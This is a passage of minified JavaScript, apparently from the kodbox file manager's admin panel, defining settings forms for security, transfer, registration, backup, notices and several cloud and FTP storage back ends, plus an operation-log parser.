    ","passwordErrorLock":{"type":"switch","value":1,"display":LNG["admin.setting.passwordErrorLock"],"desc":LNG["admin.setting.passwordErrorLockDesc"]},"needCheckCode":{"type":"switch","value":0,"display":LNG["admin.setting.checkCode"],"desc":LNG["admin.setting.checkCodeDesc"]},"passwordRule":{"type":"segment","value":0,"display":LNG["admin.setting.passwordRule"],"info":{"none":LNG["admin.setting.passwordRuleNone"],"strong":LNG["admin.setting.passwordRuleStrong"],"strongMore":LNG["admin.setting.passwordRuleStrongMore"]},"desc":""+LNG["admin.setting.passwordRuleDesc"],"switchItem":{"none":"passwordRuleNone","strong":"passwordRuleStrong","strongMore":"passwordRuleStrongMore"}},"passwordRuleStrong":{"type":"html","display":"","value":'

    '+LNG["admin.setting.passwordRuleStrongDesc"]+"

    "},"passwordRuleStrongMore":{"type":"html","display":"","value":'

    '+LNG["admin.setting.passwordRuleStrongMoreDesc"]+"

    "},"sep202":"

    "+LNG["admin.setting.safeData"]+"

    ","csrfProtect":{"type":"switch","value":0,"display":LNG["admin.setting.csrfProtect"],"desc":LNG["admin.setting.csrfProtectDesc"]},"sep203":{"type":"html","display":LNG["admin.setting.setRootPath"],"desc":"

    "+LNG["admin.setting.setRootPathDesc"]+"

    "},"sep205":"
    ","fileEncryption":{"type":"segment","value":"all","display":LNG["admin.setting.encode"],"info":{"all":LNG["admin.setting.encodeAll"],"keepExt":LNG["admin.setting.encodeName"],"keepName":LNG["admin.setting.encodeNone"]},"switchItem":{"all":"detailAll","keepExt":"detailKeepExt","keepName":"detailKeepName"}},"detailAll":{"type":"html","display":"","value":'

    \n\t\t\t'+LNG["admin.setting.encodeAllDesc"]+"
    \n\t\t\teg: data/202004/15/Qd5ya5NeIR5XA\n\t\t\t

    "},"detailKeepExt":{"type":"html","display":"","value":'

    \n\t\t\t'+LNG["admin.setting.encodeNameDesc"]+"
    \n\t\t\teg: data/202004/15/sx5ya34eIRfed.doc\n\t\t\t

    "},"detailKeepName":{"type":"html","display":"","value":'

    \n\t\t\t'+LNG["admin.setting.encodeNullDesc"]+"
    \n\t\t\teg: data/202004/15_si39douk/study iso.doc\n\t\t\t

    "},"detail":{"type":"html","display":"","value":"
    \t\t\t\n\t\t\t
    "+LNG["common.tipsOthers"]+":
    \n\t\t\t
  • "+LNG["admin.setting.encodeTips1"]+"
  • \n\t\t\t
  • "+LNG["admin.setting.encodeTips2"]+"
  • \n\t\t\t
  • "+LNG["admin.setting.encodeTips3"]+"
  • \n\t\t\t
    "}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"chunkSize":{"type":"number","value":"0.5","display":LNG["admin.setting.transferChunkSize"],"desc":"
    "+LNG["admin.setting.transferChunkSizeDesc"]+"\n\t\t\t
    php.ini: post_max_size, upload_max_filesize ==> 5M\n\t\t\t
    nginx: client_max_body_size ==> 5M; \n\t\t\t\n\t\t\t"+LNG["common.learnMore"]+"
    ","require":1,"info":{"from":.1,"to":1e3,"step":.1},"titleRight":"MB"},"threads":{"type":"number","value":"10","display":LNG["admin.setting.transferThreads"],"desc":LNG["admin.setting.transferThreadsDesc"],"info":{"from":1,"to":20,"step":1},"require":1},"chunkRetry":{"type":"number","value":"5","display":LNG["admin.setting.transferChunkRetry"],"desc":LNG["admin.setting.transferChunkRetryDesc"],"info":{"from":1,"to":20,"step":1},"require":1},"ignoreName":{"type":"input","value":"","display":LNG["admin.setting.transferIgnore"],"desc":LNG["admin.setting.transferIgnoreDesc"],"info":{"from":1,"to":20,"step":1}},"file-step00":"
    ","osChunkSize":{"type":"number","value":"10","display":LNG["admin.setting.transferOsChunkSize"],"desc":"
    "+LNG["admin.setting.transferOsChunkSizeDesc"]+"
    ","require":1,"info":{"from":5,"to":5120,"step":1},"titleRight":"MB"},"file-step01":"
    ","shareLinkZip":{"type":"switch","value":"1","display":LNG["admin.setting.shareLinkZipTitle"],"desc":LNG["admin.setting.shareLinkZipDesc"]},"file-step02":"
    ","httpSendFile":{"type":"switch","value":"0","className":"hidden","display":LNG["admin.setting.transferHttpSendFile"],"desc":LNG["admin.setting.transferHttpSendFileDesc"]},"downloadSpeedOpen":{"type":"switch","value":"0","display":LNG["admin.setting.transferDownSpeed"],"desc":LNG["admin.setting.transferDownSpeedDesc"],"switchItem":{"0":"","1":"downloadSpeed"}},"downloadSpeed":{"type":"number","value":"10","display":LNG["admin.setting.transferDownSpeedNum"],"desc":"
    "+LNG["admin.setting.transferDownSpeedNumDesc"],"titleRight":"MB/s","info":{"from":1,"to":30,"step":.1}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"loginWith":{"type":"checkbox","value":"qq,weixin","display":LNG["admin.setting.thirdLogin"],"desc":LNG["admin.setting.thirdLoginDesc"],"info":{"qq":"QQ","weixin":LNG["common.wechat"],"github":"GitHub"}},"sep401":"
    ","openRegist":{"type":"switch","value":0,"display":LNG["admin.setting.registOpen"],"desc":LNG["admin.setting.registOpenDesc"],"switchItem":{"":"","1":"checkRegist,sizeMax,roleID,groupInfo"}},"checkRegist":{"type":"switch","value":0,"display":LNG["admin.setting.registCheck"],"desc":LNG["admin.setting.registCheckDesc"]},"sizeMax":{"type":"number","value":"0","display":LNG["admin.member.spaceSize"],"titleRight":"GB","desc":LNG["admin.member.spaceTipsDefault"]},"allowPhone":{"type":"switch","className":"hidden","value":"0","display":""},"roleID":{"type":"role","value":"2","display":LNG["admin.setting.roleRight"],"desc":""},"groupInfo":{"type":"groupAuth","value":'{"1":"2"}',"display":LNG["admin.member.group"],"desc":""}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(554)),a=o(i(555)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(''),this.menuAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.menuList={},this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.menuTable=e.make();var t='\n\t\t";this.menuTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".menu-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data");switch(e){case"add":n.menuAction.add();break;case"edit":var i=n.menuList[t]||{};n.menuAction.edit(i);break;case"remove":n.menuAction.remove(t);break;default:n.menuAction.sort(e,t)}}),this.dropMenu.action(this.menuTable),this.dragRow.sort(function(e){n.resortData(e)},!1)},"resortData":function(e){var i=[],n=this;e.find(".list-col.setting").each(function(){var e=parseInt($(this).find("[data]").attr("data")),t=_.find(n.menuList,["id",e]);t&&i.push(t)}),_.isEmpty(i)||(_.each(i,function(e,t){e.id=t+1}),this.adminModel.setOption({"menu":i},function(e){n.menuTable.refresh({})}))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(557)),a=o(i(558)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","events":{"change .notice-page .list-row input[name=enable]":"enable"},"init":function(){this.renderHtml('
    \n\t\t\t\t
    \n\t\t\t\t
    '),this.noticeAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.noticeListAll={},this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.noticeTable=e.make();var t='\n\t\t\n\t\t\t '+LNG["common.add"]+"\n\t\t";this.noticeTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".notice-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data");if("goBack"==e)return n.$(".notice-page .notice-list").removeClass("hidden"),n.$(".notice-page .notice-dtl-box").addClass("hidden"),!1;var t=$(this).parent().attr("data"),i=n.noticeListAll[t]?n.noticeListAll[t]:{};n.noticeAction.exec(e,i)}),this.dropMenu.action(this.noticeTable),this.dragRow.sort(function(e){n.noticeAction.request("sort",{"ids":e},!1)})},"enable":function(e){var t=$(e.currentTarget),i=t.prop("checked")?"1":"0",n=t.parents(".list-row").find(".list-col[field=id]>div").attr("data");this.noticeAction.request("enable",{"id":n,"enable":i})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=r(i(2)),a=r(i(561)),n=r(i(562));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(i(563)),this.process=!1,this.initView(),this.bindEvent()},"initView":function(){var e=new n["default"]({"parent":this});this.backupTable=e.make(),this.refreshPanel()},"refreshPanel":function(){var i=this;this.adminModel.backupGet({},function(e){if(!e.code&&"1004"==e.info){var t='
    \n \n '+LNG["common.noPermission"]+"\n
    ";return i.$(".admin-backup-page").html(t),!1}if(!e.code)return Tips.close(e);i.$(".admin-backup-page>div").removeClass("hidden"),i.bakConfig=e.data,i.initPanel(e.info.last,e.info.info)})},"initPanel":function(e){var t=1',"title":LNG["admin.backup.setting"],"width":600,"height":560,"okVal":LNG["common.save"]},i=$.objClone(t);e.time.value=this.bakConfig.time.day,e.enable.value=this.bakConfig.enable,e.io.value=this.bakConfig.io,e.content.value=this.bakConfig.content;var n=this;this.formMaker=new s["default"]({"parent":this,"formData":e}),this.formMaker.renderDialog(i,function(e){return"1"!=e.enable||e.io?(n.adminModel.setOption({"backup":e},function(e){Tips.close(e),e.code&&n._delay(function(){n.formMaker.dialog.close(),n.refreshPanel()})}),n.bakConfig.enable=e.enable,n.bakConfig.time.day=e.time,n.adminModel.autoTaskEdit(n.bakConfig,function(e){})):Tips.tips(LNG["admin.backup.needStorage"],!1),!1});var a=function a(e){n.formMaker.$('.form-row[data-key="time"] .desc .time-desc').text(e)};a(e.time.value),this.formMaker.bind("onChange",function(e,t,i){"time"==e&&a(t)})},"refreshLast":function(e){var n=this.$(".list-table .list-row:not(.title)").eq(0);if(n.find("[field=id]>div").attr("data")==e.id){var a=this,t={"dbSize":LNG["common.fileSize"],"dbCnt":LNG["admin.backup.dbCnt"]};"0"==this.bakConfig.content&&_.merge(t,{"fileSize":LNG["common.fileSize"],"fileCnt":LNG["admin.index.fileCnt"]}),_.each(t,function(e,t){var i=a.$(".backup-set [name="+t+"]").text();n.find("."+t).text(e+": "+i)});var i=a.$(".backup-set [name=status]").text();n.find("[field=timeTo] .timeTo").text(i);var s=a.$(".backup-set [name=timeTotal]").text();if(n.find("[field=timeTo] .timeTotal").text(s),e.status){var r=a.$(".backup-set [name=timeTo]").text();n.find("[field=timeTo] .timeTo").removeClass("label label-yellow-light").text(r),n.find(".setting[field=id] li").attr("action-data","remove").text(LNG["common.delete"]);var o="";if(e.result.file.sizeTotal>e.result.file.sizeSuccess){var l=dateFormat(e.timeFrom,"Y_m_d")+"__log.php";o=' '}n.find(".fileSize").append(o)}}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(564)),a=r(i(565)),s=i(36);function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(i(569)),this.initChildren(),this.bindEvent(),this.bindNotify()},"initChildren":function(){this.Load=new n["default"]({"parent":this}),this.Action=new a["default"]({"parent":this}),this.storeListAll={}},"bindEvent":function(){var t=this;this.$el.delegate("[action]","click",function(e){if(!$(e.target).hasClass("dropdown-toggle")&&!$(e.target).parent().hasClass("dropdown-toggle"))return t.doAction($(this).attr("action"),$(this)),$(this).parents(".dropdown-menu").exists()&&$(this).parents(".action").removeClass("open"),stopPP(e)}),this.Load.storeList()},"openFolder":function(e,t){var i=_.get(window,"parent.kodApp.pathAction");if(i&&window!=window.parent)return i.openFolder(e,t);var n=this;if(this.explorer)return this.explorer.pathAction.openFolder(e,t),void this.explorer.$el.flash();this.explorer=new s.ExplorerDialog({"pathOpen":e,"title":e,"openPathCallback":t,"closeBefore":function(){n.explorer=null}})},"doAction":function(e,t){var i="store_"+(t.hasClass("data-app")?t.attr("data-id"):$(t).parents(".data-app").attr("data-id")),n=this.storeListAll[i]||{};if("historyBack"==e)return this.Action.showStoreList();this.Action.exec(e,n)},"bindNotify":function(){this.listenTo(this.Action,{"getStoreList":function(e,t){t(this.storeListAll)},"storeList":function(){this.Load.storeList()}}),this.listenTo(this.Load,{"showStoreList":function(){this.Action.showStoreList()}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.cosKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.cosSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"cos.ap-shanghai.myqcloud.com"},"require":1},"region":{"type":"input","value":"","display":LNG["admin.storage.region"],"desc":LNG["admin.storage.refer"]+""+LNG["admin.storage.region"]+"","attr":{"placeholder":"ap-shanghai"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"172.20.6.101:8060"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"server":{"type":"input","value":"ftp://","display":LNG["admin.storage.server"],"desc":LNG["admin.storage.serverDesc"],"require":1},"username":{"type":"input","value":"","display":LNG["admin.storage.userName"],"desc":"","require":1},"userpass":{"type":"password","value":"","display":LNG["admin.storage.userPwd"],"desc":"","require":1},"charset":{"type":"select","value":"utf-8","info":{"utf-8":"UTF-8","gbk":"GBK","big5":"BIG5","euc-kr":"EUC-KR","euc-jp":"EUC-JP","shift-jis":"SHIFT-JIS"},"display":LNG["admin.storage.ftpCharset"],"desc":LNG["admin.storage.ftpCharsetDesc"]},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(29));t["default"]=function(){var e,t=_.get(window,"G.kod.BASIC_PATH","");return t=_.trimEnd(t,"/")+"/",{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"basePath":(e={"type":"fileSelect","display":LNG["admin.storage.path"],"attr":{"placeholder":"/data/"},"desc":LNG["admin.storage.pathLocDesc"]},(0,n["default"])(e,"attr",{"style":"width:229px"}),(0,n["default"])(e,"value",""),(0,n["default"])(e,"require",1),(0,n["default"])(e,"info",{"single":!0,"type":"folder","makeUrl":!1,"valueKey":"path","authCheck":"write","pathTreeDisable":!0,"pathTree":t,"pathOpen":t,"viewOption":{"addClass":"tree-disable"}}),e),"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"http://192.168.1.145:9000"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG[""],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.oosSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"oos-cn.ctyunapi.cn"},"require":1},"region":{"type":"input","value":"","display":LNG["admin.storage.region"],"desc":"","attr":{"placeholder":"cn"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.ossKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.ossSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"oss-cn-hangzhou.aliyuncs.com"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.qiniuKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.qiniuSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.domain"],"desc":LNG["admin.storage.qiniuDomain"],"require":1},"region":{"type":"select","value":"z0","display":LNG["admin.storage.region"],"desc":LNG["admin.storage.refer"]+""+LNG["admin.storage.region"]+"","info":{"z0":LNG["common.ECN"],"z1":LNG["common.NCN"],"z2":LNG["common.SCN"],"na0":LNG["common.USA"],"as0":LNG["common.SEA"]},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.awsKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.awsSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"s3.cn-northwest-1.amazonaws.com.cn"},"require":1},"region":{"type":"input","value":"","display":LNG["admin.storage.region"],"desc":LNG["admin.storage.refer"]+""+LNG["admin.storage.region"]+"","attr":{"placeholder":"cn-northwest-1"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.ussBucket"],"desc":LNG["admin.storage.ussBucketDesc"],"require":1},"username":{"type":"input","value":"","display":LNG["admin.storage.ussUser"],"desc":LNG["admin.storage.ussUserDesc"],"require":1},"userpass":{"type":"password","value":"","display":LNG["common.password"],"desc":LNG["admin.storage.ussUserPwd"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.domain"],"desc":LNG["admin.storage.ussDomain"],"require":1},"token":{"type":"input","value":"","display":LNG["admin.storage.ussToken"],"desc":LNG["admin.storage.ussTokenDesc"]},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(570));t["default"]=ClassBase.extend({"el":".admin-main-content","initAfterIgnore":!0,"init":function(){this.renderHtml('
    '),this.initExplorer(),this.bindEvent()},"initExplorer":function(){var e="{io:systemRecycle}/";this.explorer=new n["default"]({"pathTree":e,"pathOpen":e}),this.bind("onRemove",function(){this.explorer.objectRemove()})},"bindEvent":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=i(36),a=l(i(2)),r=l(i(571)),n=l(i(572)),o=l(i(100));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","events":{"click .admin-share-page .kodTable .list-col [file-parent]":"openParent"},"init":function(){this.renderHtml(i(573)),this.showShareTable(),this.bindEvent()},"showShareTable":function(){var e=this;this.Table=new n["default"]({"parent":this});var t=this.queryData();this.shareTable=this.Table.make(t,"share");var i=$.objClone((0,r["default"])());this.shareFormMaker=new a["default"]({"parent":this,"formData":i}),this.shareFormMaker.renderTarget(this.shareTable.$(".share-list .toolbar .left")),this.shareFormMaker.$("[name]").bind("change",function(){e.tableRefresh()})},"tableRefresh":function(){var e=0{{desc.from}} => {{desc.to}}","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-restore-item":"将{{file}}从回收站还原","remove-item":"在{{parent}}删除了{{desc.content}}","addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addComment-item":["在{{file}}表了评论","{{desc.content}}",1]};return this._each(a,function(e,t){_.isString(e)&&(a[t]=this.lang("log-event-"+t,e)),_.isArray(e)&&(a[t][0]=this.lang("log-event-"+t,e[0]))}),a},"lang":function s(e,t){var s=LNG[e]||e,i=t.match(/({{[\w\d\.]*}})/g);if(!i)return s;for(var n=0;n\n\t\t\t\t\n\t\t\t\t'+a+"\n\t\t\t"},"dataParse":function(e){if(!_.startsWith(e.type,"file."))return this.dataParseOthers(e);var t=this.dataActionGet(e.desc),i=this.map()[t+"-item"]||"";return this.dataParseHtmlItem(i,e.desc)},"dataActionGet":function(e){var t=e.type;if(_.includes(["share","recycle"],t)){if(t+="-"+e.desc.content,!e.desc.content)return!1}else if("create"==t){var i=_.get(e,"desc.createType");t+="-"+(i=i||("file"==e.sourceInfo.type?"mkfile":"mkdir"))}return t},"normalActionGet":function(e){var t={"user.index.loginSubmit":["user","user-login"],"user.index.logout":["user","user-logout"],"user.setting":["user","user"],"user.bind":["user","user"],"user.bind.unbind":["user","user-unbind"],"user.regist":["user","user"],"admin.group":["user","user-manage"],"admin.member":["user","user-manage"],"admin.role":["user","user-manage"],"admin.auth":["user","user-manage"],"admin.group.remove":["user","user-remove"],"admin.member.remove":["user","user-remove"],"admin.role.remove":["user","user-remove"],"admin.auth.remove":["user","user-remove"],"explorer.index.recycleDelete":["remove","remove"],"explorer.index.recycleRestore":["recycle","recycle-restore"],"explorer.index.mkdir":["create","create-mkdir"],"explorer.index.mkfile":["create","create-mkfile"],"explorer.upload.fileUpload":["create","create-upload"],"explorer.editor.fileSave":["edit","edit"],"explorer.fav.add":["fav","fav"],"explorer.fav.del":["fav","fav-del"],"explorer.userShare":["share","share"],"explorer.userShare.del":["share","share-remove"],"explorer.index.pathRename":["rename","rename"],"explorer.index.pathDelete":["remove","remove"]},i=_.initial(_.split(e.type,".")).join(".");return t[e.type]||t[i]||["",""]},"dataParseHtmlItem":function(e,t){if(_.includes(e,"{{file}}")){var i=t.sourceInfo||t.desc.name||t.pathName||""+LNG["common.deleteEnd"]+LNG["common.file"]+"",n=this.makeHtmlFile(i);e=e.replace(/{{file}}/g,n)}if(_.includes(e,"{{parent}}")){var a=t.parentInfo||""+LNG["common.deleteEnd"]+LNG["common.folder"]+"";n=this.makeHtmlFile(a);e=e.replace(/{{parent}}/g,n)}if(_.includes(e,"{{desc.from}}")){var 